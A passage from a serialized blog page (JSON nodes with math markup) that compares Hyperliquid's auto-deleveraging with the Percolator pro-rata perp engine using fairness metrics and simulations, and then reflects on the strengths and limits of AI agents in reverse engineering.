children":165987},{"className":165986},[6396],[165988],{"type":29,"value":6408},{"type":29,"value":1677},{"type":24,"tag":32,"props":165991,"children":165993},{"className":165992},[6368,6369],[165994],{"type":24,"tag":90,"props":165995,"children":165997},{"className":165996},[6374],[165998],{"type":24,"tag":90,"props":165999,"children":166001},{"className":166000,"ariaHidden":6380},[6379],[166002,166028],{"type":24,"tag":90,"props":166003,"children":166005},{"className":166004},[6385],[166006,166010,166015,166019,166024],{"type":24,"tag":90,"props":166007,"children":166009},{"className":166008,"style":23379},[6390],[],{"type":24,"tag":90,"props":166011,"children":166013},{"className":166012,"style":23843},[6396,23384],[166014],{"type":29,"value":23846},{"type":24,"tag":90,"props":166016,"children":166018},{"className":166017,"style":6573},[6475],[],{"type":24,"tag":90,"props":166020,"children":166022},{"className":166021},[6578],[166023],{"type":29,"value":5491},{"type":24,"tag":90,"props":166025,"children":166027},{"className":166026,"style":6573},[6475],[],{"type":24,"tag":90,"props":166029,"children":166031},{"className":166030},[6385],[166032,166036],{"type":24,"tag":90,"props":166033,"children":166035},{"className":166034,"style":95908},[6390],[],{"type":24,"tag":90,"props":166037,"children":166039},{"className":166038},[6396],[166040],{"type":29,"value":6408},{"type":29,"value":166042}," means nothing was recovered.",{"type":24,"tag":3104,"props":166044,"children":166045},{},[166046,166050,166051,166174,166175,166392,166394,166498,166500,166551,166553,166605],{"type":24,"tag":842,"props":166047,"children":166048},{},[166049],{"type":29,"value":162699},{"type":29,"value":34725},{"type":24,"tag":32,"props":166052,"children":166054},{"className":166053},[6368,6369],[166055],{"type":24,"tag":90,"props":166056,"children":166058},{"className":166057},[6374],[166059],{"type":24,"tag":90,"props":166060,"children":166062},{"className":166061,"ariaHidden":6380},[6379],[166063,166089],{"type":24,"tag":90,"props":166064,"children":166066},{"className":166065},[6385],[166067,166071,166076,166080,166085],{"type":24,"tag":90,"props":166068,"children":166070},{"className":166069,"style":165596},[6390],[],{"type":24,"tag":90,"props":166072,"children":166074},{"className":166073},[6396],[166075],{"type":29,"value":534},{"type":24,"tag":90,"props":166077,"children":166079},{"className":166078,"style":6476},[6475],[],{"type":24,"tag":90,"props":166081,"children":166083},{"className":166082},[6481],[166084],{"type":29,"value":6456},{"type":24,"tag":90,"props":166086,"children":166088},{"className":166087,"style":6476},[6475],[],{"type":24,"tag":90,"props":166090,"children":166092},{"className":166091},[6385],[166093,166097,166107,166112,166169],{"type":24,"tag":90,"props":166094,"children":166096},{"className":166095,"style":6496},[6390],[],{"type":24,"tag":90,"props":166098,"children":166100},{"className":166099},[6396,29],[166101],{"type":24,"tag":90,"props":166102,"children":166104},{"className":166103},[6396],[166105],{"type":29,"value":166106},"Gini",{"type":24,"tag":90,"props":166108,"children":166110},{"className":166109},[23513],[166111],{"type":29,"value":117},{"type":24,"tag":90,"props":166113,"children":166115},{"className":166114},[6396],[166116,166121],{"type":24,"tag":90,"props":166117,"children":166119},{"className":166118},[6396,23384],[166120],{"type":29,"value":86175},{"type":24,"tag":90,"props":166122,"children":166124},{"className":166123},[6412],[166125],{"type":24,"tag":90,"props":166126,"children":166128},{"className":166127},[6417,23438],[166129,166158],{"type":24,"tag":90,"props":166130,"children":166132},{"className":166131},[6422],[166133,166153],{"type":24,"tag":90,"props":166134,"children":166136},{"className":166135,"style":95406},[6427],[166137],{"type":24,"tag":90,"props":166138,"children":166139},{"style":94933},[166140,166144],{"type":24,"tag":90,"props":166141,"children":166143},{"className":166142,"style":6437},[6436],[],{"type":24,"tag":90,"props":166145,"children":166147},{"className":166146},[6442,6443,6444,6445],[166148],{"type":24,"tag":90,"props":166149,"children":166151},{"className":166150},[6396,23384,6445],[166152],{"type":29,"value":6123},{"type":24,"tag":90,"props":166154,"children":166156},{"className":166155},[23541],[166157],{"type":29,"value":23544},{"type":24,"tag":90,"props":166159,"children":166161},{"className":166160},[6422],[166162],{"type":24,"tag":90,"props":166163,"children":166165},{"className":166164,"style":94960},[6427],[166166],{"type":24,"tag":90,"props":166167,"children":166168},{},[],{"type":24,"tag":90,"props":166170,"children":166172},{"className":166171},[23535],[166173],{"type":29,"value":517},{"type":29,"value":9703},{"type":24,"tag":32,"props":166176,"children":166178},{"className":166177},[6368,6369],[166179],{"type":24,"tag":90,"props":166180,"children":166182},{"className":166181},[6374],[166183],{"type":24,"tag":90,"props":166184,"children":166186},{"className":166185,"ariaHidden":6380},[6379],[166187,166265],{"type":24,"tag":90,"props":166188,"children":166190},{"className":166189},[6385],[166191,166195,166252,166256,166261],{"type":24,"tag":90,"props":166192,"children":166194},{"className":166193,"style":144156},[6390],[],{"type":24,"tag":90,"props":166196,"children":166198},{"className":166197},[6396],[166199,166204],{"type":24,"tag":90,"props":166200,"children":166202},{"className":166201},[6396,23384],[166203],{"type":29,"value":86175},{"type":24,"tag":90,"props":166205,"children":166207},{"className":166206},[6412],[166208],{"type":24,"tag":90,"props":166209,"children":166211},{"className":166210},[6417,23438],[166212,166241],{"type":24,"tag":90,"props":166213,"children":166215},{"className":166214},[6422],[166216,166236],{"type":24,"tag":90,"props":166217,"children":166219},{"className":166218,"style":95406},[6427],[166220],{"type":24,"tag":90,"props":166221,"children":166222},{"style":94933},[166223,166227],{"type":24,"tag":90,"props":166224,"children":166226},{"className":166225,"style":6437},[6436],[],{"type":24,"tag":90,"props":166228,"children":166230},{"className":166229},[6442,6443,6444,6445],[166231],{"type":24,"tag":90,"props":166232,"children":166234},{"className":166233},[6396,23384,6445],[166235],{"type":29,"value":6123},{"type":24,"tag":90,"props":166237,"children":166239},{"className":166238},[23541],[166240],{"type":29,"value":23544},{"type":24,"tag":90,"props":166242,"children":166244},{"className":166243},[6422],[166245],{"type":24,"tag":90,"props":166246,"children":166248},{"className":166247,"style":94960},[6427],[166249],{"type":24,"tag":90,"props":166250,"children":166251},{},[],{"type":24,"tag":90,"props":166253,"children":166255},{"className":166254,"style":6573},[6475],[],{"type":24,"tag":90,"props":166257,"children":166259},{"className":166258},[6578],[166260],{"type":29,"value":5491},{"type":24,"tag":90,"props":166262,"children":166264},{"className":166263,"style":6573},[6475],[],{"type":24,"tag":90,"props":166266,"children":166268},{"className":166267},[6385],[166269,166273,166330,166335],{"type":24,"tag":90,"props":166270,"children":166272},{"className":166271,"style":6496},[6390],[],{"type":24,"tag":90,"props":166274,"children":166276},{"className":166275},[6396],[166277,166282],{"type":24,"tag":90,"props":166278,"children":166280},{"className":166279},[6396,23384],[166281],{"type":29,"value":21070},{"type":24,"tag":90,"props":166283,"children":166285},{"className":166284},[6412],[166286],{"type":24,"tag":90,"props":166287,"children":166289},{"className":166288},[6417,23438],[166290,166319],{"type":24,"tag":90,"props":166291,"children":166293},{"className":166292},[6422],[166294,166314],{"type":24,"tag":90,"props":166295,"children":166297},{"className":166296,"style":95406},[6427],[166298],{"type":24,"tag":90,"props":166299,"children":166300},{"style":94933},[166301,166305],{"type":24,"tag":90,"props":166302,"children":166304},{"className":166303,"style":6437},[6436],[],{"type":24,"tag":90,"props":166306,"children":166308},{"className":166307},[6442,6443,6444,6445],[166309],{"type":24,"tag":90,"props":166310,"children":166312},{"className":166311},[6396,23384,6445],[166313],{"type":29,"value":6123},{"type":24,"tag":90,"props":166315,"children":166317},{"className":166316},[23541],[166318],{"type":29,"value":23544},{"type":24,"tag":90,"props":166320,"children":166322},{"className":166321},[6422],[166323],{"type":24,"tag":90,"props":166324,"children":166326},{"className":166325,"style":94960},[6427],[166327],{"type":24,"tag":90,"props":166328,"children":166329},{},[],{"type":24,"tag":90,"props":166331,"children":166333},{"className":166332},[6396],[166334],{"type":29,"value":6966},{"type":24,"tag":90,"props":166336,"children":166338},{"className":166337},[6396],[166339,166344],{"type":24,"tag":90,"props":166340,"children":166342},{"className":166341,"style":124157},[6396,23384],[166343],{"type":29,"value":51395},{"type":24,"tag":90,"props":166345,"children":166347},{"className":166346},[6412],[166348],{"type":24,"tag":90,"props":166349,"children":166351},{"className":166350},[6417,23438],[166352,166381],{"type":24,"tag":90,"props":166353,"children":166355},{"className":166354},[6422],[166356,166376],{"type":24,"tag":90,"props":166357,"children":166359},{"className":166358,"style":95406},[6427],[166360],{"type":24,"tag":90,"props":166361,"children":166362},{"style":163105},[166363,166367],{"type":24,"tag":90,"props":166364,"children":166366},{"className":166365,"style":6437},[6436],[],{"type":24,"tag":90,"props":166368,"children":166370},{"className":166369},[6442,6443,6444,6445],[166371],{"type":24,"tag":90,"props":166372,"children":166374},{"className":166373},[6396,23384,6445],[166375],{"type":29,"value":6123},{"type":24,"tag":90,"props":166377,"children":166379},{"className":166378},[23541],[166380],{"type":29,"value":23544},{"type":24,"tag":90,"props":166382,"children":166384},{"className":166383},[6422],[166385],{"type":24,"tag":90,"props":166386,"children":166388},{"className":166387,"style":94960},[6427],[166389],{"type":24,"tag":90,"props":166390,"children":166391},{},[],{"type":29,"value":166393}," for each winner with ",{"type":24,"tag":32,"props":166395,"children":166397},{"className":166396},[6368,6369],[166398],{"type":24,"tag":90,"props":166399,"children":166401},{"className":166400},[6374],[166402],{"type":24,"tag":90,"props":166403,"children":166405},{"className":166404,"ariaHidden":6380},[6379],[166406,166485],{"type":24,"tag":90,"props":166407,"children":166409},{"className":166408},[6385],[166410,166415,166472,166476,166481],{"type":24,"tag":90,"props":166411,"children":166414},{"className":166412,"style":166413},[6390],"height:0.6891em;vertical-align:-0.15em;",[],{"type":24,"tag":90,"props":166416,"children":166418},{"className":166417},[6396],[166419,166424],{"type":24,"tag":90,"props":166420,"children":166422},{"className":166421,"style":124157},[6396,23384],[166423],{"type":29,"value":51395},{"type":24,"tag":90,"props":166425,"children":166427},{"className":166426},[6412],[166428],{"type":24,"tag":90,"props":166429,"children":166431},{"className":166430},[6417,23438],[166432,166461],{"type":24,"tag":90,"props":166433,"children":166435},{"className":166434},[6422],[166436,166456],{"type":24,"tag":90,"props":166437,"children":166439},{"className":166438,"style":95406},[6427],[166440],{"type":24,"tag":90,"props":166441,"children":166442},{"style":163105},[166443,166447],{"type":24,"tag":90,"props":166444,"children":166446},{"className":166445,"style":6437},[6436],[],{"type":24,"tag":90,"props":166448,"children":166450},{"className":166449},[6442,6443,6444,6445],[166451],{"type":24,"tag":90,"props":166452,"children":166454},{"className":166453},[6396,23384,6445],[166455],{"type":29,"value":6123},{"type":24,"tag":90,"props":166457,"children":166459},{"className":166458},[23541],[166460],{"type":29,"value":23544},{"type":24,"tag":90,"props":166462,"children":166464},{"className":166463},[6422],[166465],{"type":24,"tag":90,"props":166466,"children":166468},{"className":166467,"style":94960},[6427],[166469],{"type":24,"tag":90,"props":166470,"children":166471},{},[],{"type":24,"tag":90,"props":166473,"children":166475},{"className":166474,"style":6573},[6475],[],{"type":24,"tag":90,"props":166477,"children":166479},{"className":166478},[6578],[166480],{"type":29,"value":12830},{"type":24,"tag":90,"props":166482,"children":166484},{"className":166483,"style":6573},[6475],[],{"type":24,"tag":90,"props":166486,"children":166488},{"className":166487},[6385],[166489,166493],{"type":24,"tag":90,"props":166490,"children":166492},{"className":166491,"style":95908},[6390],[],{"type":24,"tag":90,"props":166494,"children":166496},{"className":166495},[6396],[166497],{"type":29,"value":6408},{"type":29,"value":166499}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":24,"tag":32,"props":166501,"children":166503},{"className":166502},[6368,6369],[166504],{"type":24,"tag":90,"props":166505,"children":166507},{"className":166506},[6374],[166508],{"type":24,"tag":90,"props":166509,"children":166511},{"className":166510,"ariaHidden":6380},[6379],[166512,166538],{"type":24,"tag":90,"props":166513,"children":166515},{"className":166514},[6385],[166516,166520,166525,166529,166534],{"type":24,"tag":90,"props":166517,"children":166519},{"className":166518,"style":23379},[6390],[],{"type":24,"tag":90,"props":166521,"children":166523},{"className":166522,"style":23385},[6396,23384],[166524],{"type":29,"value":123655},{"type":24,"tag":90,"props":166526,"children":166528},{"className":166527,"style":6573},[6475],[],{"type":24,"tag":90,"props":166530,"children":166532},{"className":166531},[6578],[166533],{"type":29,"value":5491},{"type":24,"tag":90,"props":166535,"children":166537},{"className":166536,"style":6573},[6475],[],{"type":24,"tag":90,"props":166539,"children":166541},{"className":166540},[6385],[166542,166546],{"type":24,"tag":90,"props":166543,"children":166545},{"className":166544,"style":95908},[6390],[],{"type":24,"tag":90,"props":166547,"children":166549},{"className":166548},[6396],[166550],{"type":29,"value":534},{"type":29,"value":166552}," means everyone loses the same fraction of their PNL. ",{"type":24,"tag":32,"props":166554,"children":166556},{"className":166555},[6368,6369],[166557],{"type":24,"tag":90,"props":166558,"children":166560},{"className":166559},[6374],[166561],{"type":24,"tag":90,"props":166562,"children":166564},{"className":166563,"ariaHidden":6380},[6379],[166565,166592],{"type":24,"tag":90,"props":166566,"children":166568},{"className":166567},[6385],[166569,166573,166578,166582,166588],{"type":24,"tag":90,"props":166570,"children":166572},{"className":166571,"style":23379},[6390],[],{"type":24,"tag":90,"props":166574,"children":166576},{"className":166575,"style":23385},[6396,23384],[166577],{"type":29,"value":123655},{"type":24,"tag":90,"props":166579,"children":166581},{"className":166580,"style":6573},[6475],[],{"type":24,"tag":90,"props":166583,"children":166585},{"className":166584},[6578],[166586],{"type":29,"value":166587},"≈",{"type":24,"tag":90,"props":166589,"children":166591},{"className":166590,"style":6573},[6475],[],{"type":24,"tag":90,"props":166593,"children":166595},{"className":166594},[6385],[166596,166600],{"type":24,"tag":90,"props":166597,"children":166599},{"className":166598,"style":95908},[6390],[],{"type":24,"tag":90,"props":166601,"children":166603},{"className":166602},[6396],[166604],{"type":29,"value":6408},{"type":29,"value":166606}," means a few get wiped while most are untouched.",{"type":24,"tag":3104,"props":166608,"children":166609},{},[166610,166614,166615,166773,166775,166869,166871],{"type":24,"tag":842,"props":166611,"children":166612},{},[166613],{"type":29,"value":162709},{"type":29,"value":34725},{"type":24,"tag":32,"props":166616,"children":166618},{"className":166617},[6368,6369],[166619],{"type":24,"tag":90,"props":166620,"children":166622},{"className":166621},[6374],[166623],{"type":24,"tag":90,"props":166624,"children":166626},{"className":166625,"ariaHidden":6380},[6379],[166627],{"type":24,"tag":90,"props":166628,"children":166630},{"className":166629},[6385],[166631,166636,166711,166716],{"type":24,"tag":90,"props":166632,"children":166635},{"className":166633,"style":166634},[6390],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":24,"tag":90,"props":166637,"children":166639},{"className":166638},[6396],[166640,166645],{"type":24,"tag":90,"props":166641,"children":166643},{"className":166642,"style":96885},[6396,23384],[166644],{"type":29,"value":163434},{"type":24,"tag":90,"props":166646,"children":166648},{"className":166647},[6412],[166649],{"type":24,"tag":90,"props":166650,"children":166652},{"className":166651},[6417,23438],[166653,166699],{"type":24,"tag":90,"props":166654,"children":166656},{"className":166655},[6422],[166657,166694],{"type":24,"tag":90,"props":166658,"children":166660},{"className":166659,"style":110594},[6427],[166661,166678],{"type":24,"tag":90,"props":166662,"children":166664},{"style":166663},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[166665,166669],{"type":24,"tag":90,"props":166666,"children":166668},{"className":166667,"style":6437},[6436],[],{"type":24,"tag":90,"props":166670,"children":166672},{"className":166671},[6442,6443,6444,6445],[166673],{"type":24,"tag":90,"props":166674,"children":166676},{"className":166675,"style":23385},[6396,23384,6445],[166677],{"type":29,"value":1960},{"type":24,"tag":90,"props":166679,"children":166680},{"style":6431},[166681,166685],{"type":24,"tag":90,"props":166682,"children":166684},{"className":166683,"style":6437},[6436],[],{"type":24,"tag":90,"props":166686,"children":166688},{"className":166687},[6442,6443,6444,6445],[166689],{"type":24,"tag":90,"props":166690,"children":166692},{"className":166691,"style":95363},[6396,23384,6445],[166693],{"type":29,"value":162948},{"type":24,"tag":90,"props":166695,"children":166697},{"className":166696},[23541],[166698],{"type":29,"value":23544},{"type":24,"tag":90,"props":166700,"children":166702},{"className":166701},[6422],[166703],{"type":24,"tag":90,"props":166704,"children":166707},{"className":166705,"style":166706},[6427],"height:0.2753em;",[166708],{"type":24,"tag":90,"props":166709,"children":166710},{},[],{"type":24,"tag":90,"props":166712,"children":166714},{"className":166713},[6396],[166715],{"type":29,"value":6966},{"type":24,"tag":90,"props":166717,"children":166719},{"className":166718},[6396],[166720,166725],{"type":24,"tag":90,"props":166721,"children":166723},{"className":166722,"style":96885},[6396,23384],[166724],{"type":29,"value":163434},{"type":24,"tag":90,"props":166726,"children":166728},{"className":166727},[6412],[166729],{"type":24,"tag":90,"props":166730,"children":166732},{"className":166731},[6417,23438],[166733,166762],{"type":24,"tag":90,"props":166734,"children":166736},{"className":166735},[6422],[166737,166757],{"type":24,"tag":90,"props":166738,"children":166740},{"className":166739,"style":144432},[6427],[166741],{"type":24,"tag":90,"props":166742,"children":166743},{"style":163453},[166744,166748],{"type":24,"tag":90,"props":166745,"children":166747},{"className":166746,"style":6437},[6436],[],{"type":24,"tag":90,"props":166749,"children":166751},{"className":166750},[6442,6443,6444,6445],[166752],{"type":24,"tag":90,"props":166753,"children":166755},{"className":166754,"style":23385},[6396,23384,6445],[166756],{"type":29,"value":1960},{"type":24,"tag":90,"props":166758,"children":166760},{"className":166759},[23541],[166761],{"type":29,"value":23544},{"type":24,"tag":90,"props":166763,"children":166765},{"className":166764},[6422],[166766],{"type":24,"tag":90,"props":166767,"children":166769},{"className":166768,"style":94960},[6427],[166770],{"type":24,"tag":90,"props":166771,"children":166772},{},[],{"type":29,"value":166774}," — ",{"type":24,"tag":32,"props":166776,"children":166778},{"className":166777},[6368,6369],[166779],{"type":24,"tag":90,"props":166780,"children":166782},{"className":166781},[6374],[166783],{"type":24,"tag":90,"props":166784,"children":166786},{"className":166785,"ariaHidden":6380},[6379],[166787],{"type":24,"tag":90,"props":166788,"children":166790},{"className":166789},[6385],[166791,166796],{"type":24,"tag":90,"props":166792,"children":166795},{"className":166793,"style":166794},[6390],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":24,"tag":90,"props":166797,"children":166799},{"className":166798},[6396],[166800,166805],{"type":24,"tag":90,"props":166801,"children":166803},{"className":166802,"style":96885},[6396,23384],[166804],{"type":29,"value":163434},{"type":24,"tag":90,"props":166806,"children":166808},{"className":166807},[6412],[166809],{"type":24,"tag":90,"props":166810,"children":166812},{"className":166811},[6417,23438],[166813,166858],{"type":24,"tag":90,"props":166814,"children":166816},{"className":166815},[6422],[166817,166853],{"type":24,"tag":90,"props":166818,"children":166820},{"className":166819,"style":110594},[6427],[166821,166837],{"type":24,"tag":90,"props":166822,"children":166823},{"style":166663},[166824,166828],{"type":24,"tag":90,"props":166825,"children":166827},{"className":166826,"style":6437},[6436],[],{"type":24,"tag":90,"props":166829,"children":166831},{"className":166830},[6442,6443,6444,6445],[166832],{"type":24,"tag":90,"props":166833,"children":166835},{"className":166834,"style":23385},[6396,23384,6445],[166836],{"type":29,"value":1960},{"type":24,"tag":90,"props":166838,"children":166839},{"style":6431},[166840,166844],{"type":24,"tag":90,"props":166841,"children":166843},{"className":166842,"style":6437},[6436],[],{"type":24,"tag":90,"props":166845,"children":166847},{"className":166846},[6442,6443,6444,6445],[166848],{"type":24,"tag":90,"props":166849,"children":166851},{"className":166850,"style":95363},[6396,23384,6445],[166852],{"type":29,"value":162948},{"type":24,"tag":90,"props":166854,"children":166856},{"className":166855},[23541],[166857],{"type":29,"value":23544},{"type":24,"tag":90,"props":166859,"children":166861},{"className":166860},[6422],[166862],{"type":24,"tag":90,"props":166863,"children":166865},{"className":166864,"style":166706},[6427],[166866],{"type":24,"tag":90,"props":166867,"children":166868},{},[],{"type":29,"value":166870}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":24,"tag":32,"props":166872,"children":166874},{"className":166873},[6368,6369],[166875],{"type":24,"tag":90,"props":166876,"children":166878},{"className":166877},[6374],[166879],{"type":24,"tag":90,"props":166880,"children":166882},{"className":166881,"ariaHidden":6380},[6379],[166883],{"type":24,"tag":90,"props":166884,"children":166886},{"className":166885},[6385],[166887,166891],{"type":24,"tag":90,"props":166888,"children":166890},{"className":166889,"style":112718},[6390],[],{"type":24,"tag":90,"props":166892,"children":166894},{"className":166893,"style":95363},[6396,23384],[166895],{"type":29,"value":162948},{"type":24,"tag":25,"props":166897,"children":166898},{},[166899],{"type":29,"value":166900},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":24,"tag":166902,"props":166903,"children":166905},"git-hub-repo-link",{"url":166904},"https://github.com/aeyakovenko/percolator",[],{"type":24,"tag":25,"props":166907,"children":166908},{},[166909,166911,166916],{"type":29,"value":166910},"Given a fixed ",{"type":24,"tag":842,"props":166912,"children":166913},{},[166914],{"type":29,"value":166915},"a priori",{"type":29,"value":166917}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":24,"tag":25,"props":166919,"children":166920},{},[166921,166923,166928,166930,167007],{"type":29,"value":166922},"One prediction that we can make is that Percolator is ",{"type":24,"tag":842,"props":166924,"children":166925},{},[166926],{"type":29,"value":166927},"perfectly fair",{"type":29,"value":166929}," according to this scoring: the ",{"type":24,"tag":32,"props":166931,"children":166933},{"className":166932},[6368,6369],[166934],{"type":24,"tag":90,"props":166935,"children":166937},{"className":166936},[6374],[166938],{"type":24,"tag":90,"props":166939,"children":166941},{"className":166940,"ariaHidden":6380},[6379],[166942],{"type":24,"tag":90,"props":166943,"children":166945},{"className":166944},[6385],[166946,166950],{"type":24,"tag":90,"props":166947,"children":166949},{"className":166948,"style":144156},[6390],[],{"type":24,"tag":90,"props":166951,"children":166953},{"className":166952},[6396],[166954,166959],{"type":24,"tag":90,"props":166955,"children":166957},{"className":166956},[6396,23384],[166958],{"type":29,"value":86175},{"type":24,"tag":90,"props":166960,"children":166962},{"className":166961},[6412],[166963],{"type":24,"tag":90,"props":166964,"children":166966},{"className":166965},[6417,23438],[166967,166996],{"type":24,"tag":90,"props":166968,"children":166970},{"className":166969},[6422],[166971,166991],{"type":24,"tag":90,"props":166972,"children":166974},{"className":166973,"style":95406},[6427],[166975],{"type":24,"tag":90,"props":166976,"children":166977},{"style":94933},[166978,166982],{"type":24,"tag":90,"props":166979,"children":166981},{"className":166980,"style":6437},[6436],[],{"type":24,"tag":90,"props":166983,"children":166985},{"className":166984},[6442,6443,6444,6445],[166986],{"type":24,"tag":90,"props":166987,"children":166989},{"className":166988},[6396,23384,6445],[166990],{"type":29,"value":6123},{"type":24,"tag":90,"props":166992,"children":166994},{"className":166993},[23541],[166995],{"type":29,"value":23544},{"type":24,"tag":90,"props":166997,"children":166999},{"className":166998},[6422],[167000],{"type":24,"tag":90,"props":167001,"children":167003},{"className":167002,"style":94960},[6427],[167004],{"type":24,"tag":90,"props":167005,"children":167006},{},[],{"type":29,"value":167008}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":24,"tag":25,"props":167010,"children":167011},{},[167012,167014,167019],{"type":29,"value":167013},"We are ignoring the ",{"type":24,"tag":842,"props":167015,"children":167016},{},[167017],{"type":29,"value":167018},"a posteriori",{"type":29,"value":167020}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":24,"tag":25,"props":167022,"children":167023},{},[167024],{"type":29,"value":167025},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":24,"tag":850,"props":167027,"children":167029},{"id":167028},"simulations",[167030],{"type":29,"value":167031},"Simulations",{"type":24,"tag":25,"props":167033,"children":167034},{},[167035],{"type":29,"value":167036},"Let's consider the following price scenarios, as we said:",{"type":24,"tag":25,"props":167038,"children":167039},{},[167040],{"type":24,"tag":6301,"props":167041,"children":167044},{"alt":167042,"src":167043},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":24,"tag":25,"props":167046,"children":167047},{},[167048],{"type":29,"value":167049},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":24,"tag":25,"props":167051,"children":167052},{},[167053],{"type":24,"tag":6301,"props":167054,"children":167057},{"alt":167055,"src":167056},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":24,"tag":1019,"props":167059,"children":167061},{"id":167060},"percolator-is-more-optimistic",[167062],{"type":29,"value":167063},"Percolator Is More \"Optimistic\"",{"type":24,"tag":25,"props":167065,"children":167066},{},[167067,167069,167074,167076,167081,167083,167089,167091,167096],{"type":29,"value":167068},"The key difference is what happens to positions. ADL ",{"type":24,"tag":842,"props":167070,"children":167071},{},[167072],{"type":29,"value":167073},"permanently closes",{"type":29,"value":167075}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":24,"tag":842,"props":167077,"children":167078},{},[167079],{"type":29,"value":167080},"withdraw",{"type":29,"value":167082},", but the position stays open. If conditions improve, ",{"type":24,"tag":32,"props":167084,"children":167086},{"className":167085},[],[167087],{"type":29,"value":167088},"Residual",{"type":29,"value":167090}," goes up, ",{"type":24,"tag":32,"props":167092,"children":167094},{"className":167093},[],[167095],{"type":29,"value":86175},{"type":29,"value":167097}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":24,"tag":25,"props":167099,"children":167100},{},[167101,167103,167107],{"type":29,"value":167102},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":24,"tag":842,"props":167104,"children":167105},{},[167106],{"type":29,"value":21982},{"type":29,"value":167108}," per position, though the tradeoff is that fewer traders get to participate.",{"type":24,"tag":25,"props":167110,"children":167111},{},[167112],{"type":24,"tag":6301,"props":167113,"children":167116},{"alt":167114,"src":167115},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":24,"tag":850,"props":167118,"children":167120},{"id":167119},"some-points-to-be-made",[167121],{"type":29,"value":167122},"Some Points to Be Made",{"type":24,"tag":1019,"props":167124,"children":167126},{"id":167125},"percolator-is-indifferent-to-leverage",[167127],{"type":29,"value":167128},"Percolator Is Indifferent to Leverage",{"type":24,"tag":25,"props":167130,"children":167131},{},[167132],{"type":29,"value":167133},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":24,"tag":25,"props":167135,"children":167136},{},[167137],{"type":24,"tag":6301,"props":167138,"children":167141},{"alt":167139,"src":167140},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":24,"tag":1019,"props":167143,"children":167145},{"id":167144},"fairness",[167146],{"type":29,"value":162699},{"type":24,"tag":25,"props":167148,"children":167149},{},[167150],{"type":29,"value":167151},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":24,"tag":25,"props":167153,"children":167154},{},[167155],{"type":24,"tag":6301,"props":167156,"children":167159},{"alt":167157,"src":167158},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":24,"tag":25,"props":167161,"children":167162},{},[167163,167165,167170],{"type":29,"value":167164},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":24,"tag":32,"props":167166,"children":167168},{"className":167167},[],[167169],{"type":29,"value":161201},{"type":29,"value":167171}," we start by fully closing the worst position against the best-performing trader.",{"type":24,"tag":850,"props":167173,"children":167175},{"id":167174},"strengths-and-limitations-of-agents-for-reverse-engineering",[167176],{"type":29,"value":167177},"Strengths and Limitations of Agents for Reverse Engineering",{"type":24,"tag":25,"props":167179,"children":167180},{},[167181],{"type":29,"value":167182},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":24,"tag":1019,"props":167184,"children":167186},{"id":167185},"hooks",[167187],{"type":29,"value":167188},"Hooks",{"type":24,"tag":25,"props":167190,"children":167191},{},[167192,167194,167198],{"type":29,"value":167193},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":24,"tag":842,"props":167195,"children":167196},{},[167197],{"type":29,"value":167185},{"type":29,"value":167199},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":24,"tag":25,"props":167201,"children":167202},{},[167203],{"type":29,"value":167204},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":24,"tag":1019,"props":167206,"children":167208},{"id":167207},"scale",[167209],{"type":29,"value":167210},"Scale",{"type":24,"tag":25,"props":167212,"children":167213},{},[167214],{"type":29,"value":167215},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":24,"tag":25,"props":167217,"children":167218},{},[167219],{"type":29,"value":167220},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":24,"tag":1019,"props":167222,"children":167224},{"id":167223},"whats-next",[167225],{"type":29,"value":167226},"What's 